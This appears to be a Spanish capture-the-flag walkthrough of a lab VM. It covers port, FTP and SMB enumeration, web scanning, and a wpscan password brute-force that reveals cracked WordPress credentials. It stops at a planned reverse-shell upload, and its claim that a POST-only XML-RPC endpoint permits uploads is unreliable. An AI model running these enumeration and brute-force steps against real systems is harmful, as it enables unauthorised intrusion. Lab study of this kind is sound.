Escaneo de puertos

```
nmap -p- --min-rate 5000 -sV <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-17 03:45 EDT
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 12.50% done; ETC: 03:45 (0:00:07 remaining)
Nmap scan report for 192.168.195.140
Host is up (0.00051s latency).

PORT      STATE  SERVICE     VERSION
20/tcp    closed ftp-data
21/tcp    open   ftp         vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV failed: 550 Permission denied.
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.195.128
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open   ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
|   256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
|_  256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
53/tcp    open   domain      dnsmasq 2.75
| dns-nsid:
|_  bind.version: dnsmasq-2.75
80/tcp    open   http        PHP cli server 5.5 or later
|_http-title: 404 Not Found
123/tcp   closed ntp
137/tcp   closed netbios-ns
138/tcp   closed netbios-dgm
139/tcp   open   netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp   open   doom?
| fingerprint-strings:
|   NULL:
|     message2.jpgUT
|     QWux
|     "DL[E
|     #;3[
|     \xf6
|     u([r
|     qYQq
|     Y_?n2
```

```
|     3&M~{
|     9-a)T
|     L}AJ
|_    .npy.9
3306/tcp  open   mysql       MySQL 5.7.12-0ubuntu1
| mysql-info:
|   Protocol: 10
|   Version: 5.7.12-0ubuntu1
|   Thread ID: 8
|   Capabilities flags: 63487
|   Some Capabilities: IgnoreSigpipes, Speaks41ProtocolNew, Support41Auth,
ODBCClient, Speaks41ProtocolOld, SupportsTransactions, LongPassword,
SupportsCompression, InteractiveClient, DontAllowDatabaseTableColumn, FoundRows,
ConnectWithDatabase, IgnoreSpaceBeforeParenthesis, SupportsLoadDataLocal,
LongColumnFlag, SupportsAuthPlugins, SupportsMultipleStatments,
SupportsMultipleResults
|   Status: Autocommit
|   Salt: \x02\x01RTxX#xQ\x0Eo\x1AW\x14\x15;\x01k\x16\x1B
|_  Auth Plugin Name: mysql_native_password
12380/tcp open   http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
1 service unrecognized despite returning data. If you know the service/version,
please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-
service :
SF-Port666-TCP:V=7.94SVN%I=7%D=5/17%Time=66470B10%P=x86_64-pc-linux-gnu%r(
SF:NULL,1000,"PK\x03\x04\x14\0\x02\0\x08\0d\x80\xc3Hp\xdf\x15\x81\xaa,\0\0
SF:\x152\0\0\x0c\0\x1c\0message2.jpgUT\t\0\x03+\x9cQWJ\x9cQWux\x0b\0\x01
SF:\x04\xf5\x01\0\0\x04\x14\0\0\0\xadz\x0bT\x13\xe7\xbe\xefP\x94\x88\x88A@
SF:\xa2\x20\x19\xabUT\xc4T\x11\xa9\x102>\x8a\xd4RDK\x15\x85Jj\xa9"DL[E\x
SF:a2\x0c\x19\x140<\xc4\xb4\xb5\xca\xaen\x89\x8a\x8aV\x11\x91W\xc5H\x20\x0
SF:f\xb2\xf7\xb6\x88\n\x82@%\x99d\xb7\xc8#;3[\r_\xcddr\x87\xbd\xcf9\xf7\x
SF:aeu\xeeY\xeb\xdc\xb3oX\xacY\xf92\xf3e\xfe\xdf\xff\xff\xff=2\x9f\xf3\x99
SF:\xd3\x08y}\xb8a\xe3\x06\xc8\xc5\x05\x82>`\xfe\x20\xa7\x05:\xb4y\xaf\xf8
SF:\xa0\xf8\xc0^\xf1\x97sC\x97\xbd\x0b\xbd\xb7nc\xdc\xa4I\xd0\xc4+j\xce\
SF:[\x87\xa0\xe5\x1b\xf7\xcc=,\xce\x9a\xbb\xeb\xeb\xdds\xbf\xde\xbd\xeb\x8
SF:b\xf4\xfdis\x0f\xeeM?\xb0\xf4\x1f\xa3\xcceY\xfb\xbe\x98\x9b\xb6\xfb\xe
SF:0\xdc]sS\xc5bQ\xfa\xee\xb7\xe7\xbc\x05AoA\x93\xfe9\xd3\x82\x7f\xcc\xe4
SF:\xd5\x1dx\xa2O\x0e\xdd\x994\x9c\xe7\xfe\x871\xb0N\xea\x1c\x80\xd63w\xf1
SF:\xaf\xbd&&q\xf9\x97'i\x85fL\x81\xe2\\xf6\xb9\xba\xcc\x80\xde\x9a\xe1\x
SF:e2:\xc3\xc5\xa9\x85`\x08r\x99\xfc\xcf\x13\xa0\x7f{\xb9\xbc\xe5:i\xb2\x1
SF:bk\x8a\xfbT\x0f\xe6\x84\x06/\xe8-\x17W\xd7\xb7&\xb9N\x9e<\xb1\.\xb9\x
SF:cc\xe7\xd0\xa4\x19\x93\xbd\xdf^\xbe\xd6\xcdg\xcb.\xd6\xbc\xaf|W\x1c\
SF:xfd\xf6\xe2\x94\xf9\xebj\xdbf~\xfc\x98x'\xf4\xf3\xaf\x8f\xb9O\xf5\xe3\x
SF:cc\x9a\xed\xbf`a\xd0\xa2\xc5KV\x86\xad\n\x7fou\xc4\xfa\xf7\xa37\xc4|\x
SF:b0\xf1\xc3\x84O\xb6nK\xdc\xbe#)\xf5\x8b\xdd{\xd2\xf6\xa6g\x1c8\x98u(\
SF:[r\xf8H~A\xe1qYQq\xc9w\xa7\xbe?}\xa6\xfc\x0f?\x9c\xbdTy\xf9\xca\xd5\x
SF:aak\xd7\x7f\xbcSW\xdf\xd0\xd8\xf4\xd3\xddf\xb5F\xabk\xd7\xff\xe9\xcf\x7
SF:fy\xd2\xd5\xfd\xb4\xa7\xf7Y_?n2\xff\xf5\xd7\xdf\x86^\x0c\x8f\x90\x7f\
SF:x7f\xf9\xea\xb5m\x1c\xfc\xfef".\x17\xc8\xf5?B\xff\xbf\xc6\xc5,\x82\x
SF:cb[\x93&\xb9NbM\xc4\xe5\xf2V\xf6\xc4\t3&M~{\xb9\x9b\xf7\xda-\xac]_\xf
SF:9\xcc[qt\x8a\xef\xbao/\xd6\xb6\xb9\xcf\x0f\xfd\x98\x98\xf9\xf9\xd7\x8f
SF:\xa7\xfa\xbd\xb3\x12_@N\x84\xf6\x8f\xc8\xfe{\x81\x1d\xfb\x1fE\xf6\x1f\x
SF:81\xfd\xef\xb8\xfa\xa1i\xae.L\xf2\g@\x08D\xbb\xbfp\xb5\xd4\xf4Ym\x0bI
SF:\x96\x1e\xcb\x879-a)T\x02\xc8$\x14k\x08\xae\xfcZ\x90\xe6E\xcb<C\xcap\
```

```
SF:x8f\xd0\x8f\x9fu\x01\x8dvT\xf0'\x9b\xe4ST%\x9f5\x95\xab\rSWb\xecN\xfb&\
SF:xf4\xed\xe3v\x13O\xb73A#\xf0,\xd5\xc2^\xe8\xfc\xc0\xa7\xaf\xab4\xcfC\x
SF:cd\x88\x8e}\xac\x15\xf6~\xc4R\x8e`wT\x96\xa8KT\x1cam\xdb\x99f\xfb\n\xbc
SF:\xbcL}AJ\xe5H\x912\x88(O\0k\xc9\xa9\x1a\x93\xb8\x84\x8fdN\xbf\x17\xf5\
SF:xf0.npy.9\x04\xcf\x14\x1d\x89Rr9\xe4\xd2\xae\x91#\xfbOg\xed\xf6\x15\x
SF:04\xf6~\xf1]V\xdcBGu\xeb\xaa=\x8e\xef\xa4HU\x1e\x8f\x9f\x9bI\xf4\xb6GT
SF:Q\xf3\xe9\xe5\x8e\x0b\x14L\xb2\xda\x92\x12\xf3\x95\xa2\x1c\xb3\x13*P\x
SF:11?\xfb\xf3\xda\xcaDfv\x89`\xa9\xe4k\xc4S\x0e\xd6P0");
MAC Address: 00:0C:29:D1:84:FC (VMware)
Aggressive OS guesses: Linux 3.2 - 4.9 (98%), Linux 3.10 - 4.11 (95%), Linux 3.13
(95%), Linux 3.13 - 3.16 (95%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated
Driver (Linux 4.1 or 4.4) (95%), Linux 4.10 (95%), Android 5.0 - 6.0.1 (Linux 3.4)
(95%), Linux 3.10 (95%), Linux 3.2 - 3.10 (95%), Linux 3.2 - 3.16 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time:
|   date: 2024-05-17T07:45:35
|_  start_date: N/A
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
|   Computer name: red
|   NetBIOS computer name: RED\x00
|   Domain name: \x00
|   FQDN: red
|_  System time: 2024-05-17T08:45:35+01:00
|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
(unknown)
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: -19m59s, deviation: 34m37s, median: 0s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required

TRACEROUTE
HOP RTT     ADDRESS
1   0.51 ms 192.168.195.140

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.22 seconds
```

ftp

```
ftp anonymous@<IP>
```

Dentro del `ftp` encontraremos una nota, nos la descargamos y diria lo siguiente...

```
get note
```

Info:

```
Elly, make sure you update the payload information. Leave it in your FTP account once
your are done, John.
```

smb

```
smbclient -L //<IP>/ -N
```

Info:

```
    Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        kathy           Disk      Fred, What are we doing here?
        tmp             Disk      All temporary files should be stored here
        IPC$            IPC       IPC Service (red server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            RED

smbclient //<IP>/kathy -N
```

Dentro de `smb` en este area de trabajo encontraremos 2 directorios...

```
kathy_stuff                         D        0  Sun Jun  5 11:02:27 2016
backup                              D        0  Sun Jun  5 11:04:14 2016
```

Dentro de `kathy_stuff` encontramos 1 archvio que nos descargamos...

```
todo-list.txt                       N       64  Sun Jun  5 11:02:27 2016
```

Y en el otro directorio `backup` encontraremos 2 archvios que tambien nos descargaremos...

```
vsftpd.conf                         N     5961  Sun Jun  5 11:03:45 2016
wordpress-4.tar.gz                  N  6321767  Mon Apr 27 13:14:46 2015
```

Si ahora entramos al area de trabajo de `tmp` encontraremos lo siguiente...

```
smbclient //<IP>/tmp -N

ls                                  N      274  Sun Jun  5 11:32:58 2016
```

Info `todo-list.txt` :

```
I'm making sure to backup anything important for Initech, Kathy
```

Info `ls` :

```
.:
total 12.0K
drwxrwxrwt  2 root root 4.0K Jun  5 16:32 .
drwxr-xr-x 16 root root 4.0K Jun  3 22:06 ..
-rw-r--r--  1 root root    0 Jun  5 16:32 ls
```

```
drwx------  3 root root 4.0K Jun  5 15:32 systemd-private-
df2bff9b90164a2eadc490c0b8f76087-systemd-timesyncd.service-vFKoxJ
```

Info `vsftpd.conf` :

```
# Example config file /etc/vsftpd.conf
#
# The default compiled in settings are fairly paranoid. This sample file
# loosens things up a bit, to make the ftp daemon more usable.
# Please see vsftpd.conf.5 for all compiled in defaults.
#
# READ THIS: This example file is NOT an exhaustive list of vsftpd options.
# Please read the vsftpd.conf.5 manual page to get a full idea of vsftpd's
# capabilities.
#
#
# Run standalone?  vsftpd can run either from an inetd or as a standalone
# daemon started from an initscript.
listen=YES
#
# This directive enables listening on IPv6 sockets. By default, listening
# on the IPv6 "any" address (::) will accept connections from both IPv6
# and IPv4 clients. It is not necessary to listen on *both* IPv4 and IPv6
# sockets. If you want that (perhaps because you want to listen on specific
# addresses) then you must run two copies of vsftpd with two configuration
# files.
listen_ipv6=NO
#
# Allow anonymous FTP? (Disabled by default).
anonymous_enable=YES
anon_root=/var/ftp/anonymous
#
# Uncomment this to allow local users to log in.
local_enable=YES
#
# Uncomment this to enable any form of FTP write command.
#write_enable=YES
#
# Default umask for local users is 077. You may wish to change this to 022,
# if your users expect that (022 is used by most other ftpd's)
#local_umask=022
#
# Uncomment this to allow the anonymous FTP user to upload files. This only
# has an effect if the above global write enable is activated. Also, you will
# obviously need to create a directory writable by the FTP user.
#anon_upload_enable=YES
#
# Uncomment this if you want the anonymous FTP user to be able to create
# new directories.
#anon_mkdir_write_enable=YES
#
# Activate directory messages - messages given to remote users when they
# go into a certain directory.
dirmessage_enable=YES
#
# If enabled, vsftpd will display directory listings with the time
```

```
# in  your  local  time  zone.  The default is to display GMT. The
# times returned by the MDTM FTP command are also affected by this
# option.
use_localtime=YES
#
# Activate logging of uploads/downloads.
xferlog_enable=YES
#
# Make sure PORT transfer connections originate from port 20 (ftp-data).
connect_from_port_20=YES
#
# If you want, you can arrange for uploaded anonymous files to be owned by
# a different user. Note! Using "root" for uploaded files is not
# recommended!
#chown_uploads=YES
#chown_username=whoever
#
# You may override where the log file goes if you like. The default is shown
# below.
#xferlog_file=/var/log/vsftpd.log
#
# If you want, you can have your log file in standard ftpd xferlog format.
# Note that the default log file location is /var/log/xferlog in this case.
#xferlog_std_format=YES
#
# You may change the default value for timing out an idle session.
#idle_session_timeout=600
#
# You may change the default value for timing out a data connection.
#data_connection_timeout=120
#
# It is recommended that you define on your system a unique user which the
# ftp server can use as a totally isolated and unprivileged user.
#nopriv_user=ftpsecure
#
# Enable this and the server will recognise asynchronous ABOR requests. Not
# recommended for security (the code is non-trivial). Not enabling it,
# however, may confuse older FTP clients.
#async_abor_enable=YES
#
# By default the server will pretend to allow ASCII mode but in fact ignore
# the request. Turn on the below options to have the server actually do ASCII
# mangling on files when in ASCII mode.
# Beware that on some FTP servers, ASCII support allows a denial of service
# attack (DoS) via the command "SIZE /big/file" in ASCII mode. vsftpd
# predicted this attack and has always been safe, reporting the size of the
# raw file.
# ASCII mangling is a horrible feature of the protocol.
#ascii_upload_enable=YES
#ascii_download_enable=YES
#
# You may fully customise the login banner string:
#ftpd_banner=Welcome to blah FTP service.
banner_file=/etc/vsftpd.banner
#
```

```
# You may specify a file of disallowed anonymous e-mail addresses. Apparently
# useful for combatting certain DoS attacks.
#deny_email_enable=YES
# (default follows)
#banned_email_file=/etc/vsftpd.banned_emails
#
# You may restrict local users to their home directories.  See the FAQ for
# the possible risks in this before using chroot_local_user or
# chroot_list_enable below.
chroot_local_user=YES
userlist_enable=YES
local_root=/etc
#
# You may specify an explicit list of local users to chroot() to their home
# directory. If chroot_local_user is YES, then this list becomes a list of
# users to NOT chroot().
# (Warning! chroot'ing can be very dangerous. If using chroot, make sure that
# the user does not have write access to the top level directory within the
# chroot)
#chroot_local_user=YES
#chroot_list_enable=YES
# (default follows)
#chroot_list_file=/etc/vsftpd.chroot_list
#
# You may activate the "-R" option to the builtin ls. This is disabled by
# default to avoid remote users being able to cause excessive I/O on large
# sites. However, some broken FTP clients such as "ncftp" and "mirror" assume
# the presence of the "-R" option, so there is a strong case for enabling it.
#ls_recurse_enable=YES
#
# Customization
#
# Some of vsftpd's settings don't fit the filesystem layout by
# default.
#
# This option should be the name of a directory which is empty.  Also, the
# directory should not be writable by the ftp user. This directory is used
# as a secure chroot() jail at times vsftpd does not require filesystem
# access.
secure_chroot_dir=/var/run/vsftpd/empty
#
# This string is the name of the PAM service vsftpd will use.
pam_service_name=vsftpd
#
# This option specifies the location of the RSA certificate to use for SSL
# encrypted connections.
rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
ssl_enable=NO

#
# Uncomment this to indicate that vsftpd use a utf8 filesystem.
#utf8_filesystem=YES
pasv_enable=no
```

Hay un puerto `666` que si nos ponemos a la escucha en ese puerto nos devuelve mucha informacion que parece ser un `.zip`, por lo que lo volcamos a un archivo `.zip` de la siguiente manera...

```
nc <IP> 666 > archivo.zip
```

Dentro de este archivo encontraremos una imagen llamada `message2.jpg` que dice lo siguiente...

```
$ echo Scott, please change this message
segmentation fault
```

En la URL que visitamos con `http` en el puerto `12380` tendremos que poner `https` para que nos rediriga a otro sitio y en el haremos un nuevo reconocimiento...

Tiraremos un `nikto` para ver las posibles vulnerabilidades que tiene esta URL...

```
nikto -url https://<IP>:12380/
```

Info:

```
- Nikto v2.5.0
```

+ Target IP: 192.168.195.140
+ Target Hostname: 192.168.195.140
+ Target Port: 12380

+ SSL Info: Subject: /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
  Ciphers: ECDHE-RSA-AES256-GCM-SHA384
  Issuer: /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
+ Start Time: 2024-05-17 05:32:43 (GMT-4)

+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: Uncommon header 'dave' found, with contents: Soemthing doesn't look right here.
+ /: The site uses TLS and the Strict-Transport-Security HTTP header is not defined. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/HeaderStrict-Transport-Security
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to theIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/

+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: Entry '/admin112233/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robo-txt-file
+ /robots.txt: Entry '/blogblog/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-t-file
+ /robots.txt: contains 2 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ Hostname '192.168.195.140' does not match certificate's names: Red.Initech. See: https://cwe.mitre.org/data/definitions/297.html
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, GET, HEAD .
+ /phpmyadmin/changelog.php: Uncommon header 'x-ob_mode' found, with contents: 1.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /phpmyadmin/: phpMyAdmin directory found.
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8259 requests: 1 error(s) and 14 item(s) reported on remote host
+ End Time: 2024-05-17 05:47:30 (GMT-4) (887 seconds)

+ 1 host(s) tested

```
## gobuster o dirb

```shell
dirb https://<IP>:12380/ /usr/share/wordlists/dirb/big.txt
```

Info:

DIRB v2.22
By The Dark Raver
START_TIME: Fri May 17 05:26:53 2024
URL_BASE: https://192.168.195.140:12380/
WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt

```

GENERATED WORDS: 20458

---- Scanning URL: https://192.168.195.140:12380/ ----
==> DIRECTORY: https://192.168.195.140:12380/announcements/
==> DIRECTORY: https://192.168.195.140:12380/javascript/
==> DIRECTORY: https://192.168.195.140:12380/phpmyadmin/

+ https://192.168.195.140:12380/robots.txt (CODE:200|SIZE:59)

+ https://192.168.195.140:12380/server-status (CODE:403|SIZE:306)

```
Nos interesa ir al ``robots.txt`` dentro del mismo veremos lo siguiente...
```

User-agent: *
Disallow: /admin112233/
Disallow: /blogblog/

```
Si nos metemos en ``/blogblog/`` entramos a un ``WordPress`` por lo que haremos lo
siguiente...

```shell
wpscan --url https://<IP>:12380/blogblog/ --enumerate u --ignore-main-redirect --
disable-tls-checks
```

Info:

```
    __          _______   _____
    \ \        / /  __ \ / ____|
     \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
      \ \/  \/ / |  ___/ ___ \ / __|/ _` | '_ \
       \  /\  /  | |     ____) | (__| (_| | | | |
        \/  \/   |_|    |_____/ ___|__,_|_| |_|

    WordPress Security Scanner by the WPScan Team
                   Version 3.8.25
   Sponsored by Automattic - https://automattic.com/
   @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
```

[+] URL: https://192.168.195.140:12380/blogblog/ [192.168.195.140]
[+] Started: Fri May 17 06:13:28 2024

Interesting Finding(s):

[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.18 (Ubuntu)
| - Dave: Soemthing doesn't look right here
```

| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: https://192.168.195.140:12380/blogblog/xmlrpc.php
| Found By: Headers (Passive Detection)
| Confidence: 100%
| Confirmed By:
| - Link Tag (Passive Detection), 30% confidence
| - Direct Access (Aggressive Detection), 100% confidence
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: https://192.168.195.140:12380/blogblog/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] Registration is enabled: https://192.168.195.140:12380/blogblog/wp-login.php?action=register
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] Upload directory has listing enabled: https://192.168.195.140:12380/blogblog/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: https://192.168.195.140:12380/blogblog/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.2.1 identified (Insecure, released on 2015-04-27).
| Found By: Rss Generator (Passive Detection)
| - https://192.168.195.140:12380/blogblog/?feed=rss2,
<generator>http://wordpress.org/?v=4.2.1</generator>
| - https://192.168.195.140:12380/blogblog/?feed=comments-rss2,
<generator>http://wordpress.org/?v=4.2.1</generator>

[+] WordPress theme in use: bhost
| Location: https://192.168.195.140:12380/blogblog/wp-content/themes/bhost/
| Last Updated: 2024-03-13T00:00:00.000Z
| Readme: https://192.168.195.140:12380/blogblog/wp-content/themes/bhost/readme.txt
| [!] The version is out of date, the latest version is 1.8
| Style URL: https://192.168.195.140:12380/blogblog/wp-content/themes/bhost/style.css?ver=4.2.1
| Style Name: BHost
| Description: Bhost is a nice , clean , beautifull, Responsive and modern design free WordPress Theme.
This theme ...

| Author: Masum Billah
| Author URI: http://getmasum.net/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.2.9 (80% confidence)
| Found By: Style (Passive Detection)
| - https://192.168.195.140:12380/blogblog/wp-content/themes/bhost/style.css?ver=4.2.1, Match: 'Version: 1.2.9'

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00
<===> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] John Smith
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By: Rss Generator (Passive Detection)

[+] john
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] elly
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] peter
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] barry
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] heather
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] garry
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] harry
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] scott
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] kathy
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] tim
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Fri May 17 06:13:34 2024
[+] Requests Done: 72
[+] Cached Requests: 6
[+] Data Sent: 20.711 KB
[+] Data Received: 295.527 KB
[+] Memory used: 203.949 MB
[+] Elapsed time: 00:00:06

```
Sacamos varios usuarios, por lo que haremos lo siguiente...

```shell
wpscan --url https://<IP>:12380/blogblog/ --disable-tls-checks --usernames
Desktop/usersep.txt --passwords /usr/share/wordlists/rockyou.txt
```

Info:

```
```

```
    __          _______   _____
    \ \        / /  __ \ / ____|
     \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
      \ \/  \/ / |  ___/ ___ \ / __|/ _` | '_ \
       \  /\  /  | |     ____) | (__| (_| | | | |
        \/  \/   |_|    |_____/ ___|__,_|_| |_|

    WordPress Security Scanner by the WPScan Team
                   Version 3.8.25
   Sponsored by Automattic - https://automattic.com/
   @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
```

[+] URL: https://192.168.195.140:12380/blogblog/ [192.168.195.140]
[+] Started: Fri May 17 06:17:50 2024

Interesting Finding(s):

[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.18 (Ubuntu)
| - Dave: Soemthing doesn't look right here
```

| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: https://192.168.195.140:12380/blogblog/xmlrpc.php
| Found By: Headers (Passive Detection)
| Confidence: 100%
| Confirmed By:
| - Link Tag (Passive Detection), 30% confidence
| - Direct Access (Aggressive Detection), 100% confidence
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: https://192.168.195.140:12380/blogblog/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] Registration is enabled: https://192.168.195.140:12380/blogblog/wp-login.php?action=register
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] Upload directory has listing enabled: https://192.168.195.140:12380/blogblog/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: https://192.168.195.140:12380/blogblog/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 4.2.1 identified (Insecure, released on 2015-04-27).
| Found By: Rss Generator (Passive Detection)
| - https://192.168.195.140:12380/blogblog/?feed=rss2,
<generator>http://wordpress.org/?v=4.2.1</generator>
| - https://192.168.195.140:12380/blogblog/?feed=comments-rss2,
<generator>http://wordpress.org/?v=4.2.1</generator>

[+] WordPress theme in use: bhost
| Location: https://192.168.195.140:12380/blogblog/wp-content/themes/bhost/
| Last Updated: 2024-03-13T00:00:00.000Z
| Readme: https://192.168.195.140:12380/blogblog/wp-content/themes/bhost/readme.txt
| [!] The version is out of date, the latest version is 1.8
| Style URL: https://192.168.195.140:12380/blogblog/wp-content/themes/bhost/style.css?ver=4.2.1
| Style Name: BHost
| Description: Bhost is a nice , clean , beautifull, Responsive and modern design free WordPress Theme.
This theme ...

| Author: Masum Billah
| Author URI: http://getmasum.net/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.2.9 (80% confidence)
| Found By: Style (Passive Detection)
| - https://192.168.195.140:12380/blogblog/wp-content/themes/bhost/style.css?ver=4.2.1, Match: 'Version: 1.2.9'

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:01
<===> (137 / 137) 100.00% Time: 00:00:01

[i] No Config Backups Found.

[+] Performing password attack on Xmlrpc Multicall against 10 user/s
[SUCCESS] - harry / monkey
[SUCCESS] - scott / cookie
[SUCCESS] - kathy / coolgirl

```
Tendremos las credenciales de 3 usuarios, pero ninguno de ellos tiene permisos de administrador, aunque si miramos bien en los directorios que nos revelo esta misma herramienta vemos uno llamado ``/uploads/`` por lo que podremos subir un archivo y de ahi ejecutarlo para tener una Reverse Shell...

Si nos vamos a la siguiente URL veremos que los servidores de XML estan activados y solo recives solicitudes ``POST`` por lo que es vulnerable a poder subirle archivos...

URL: ``https://<IP>:12380/blogblog/xmlrpc.php``

Info:
```

XML-RPC server accepts POST requests only.

```
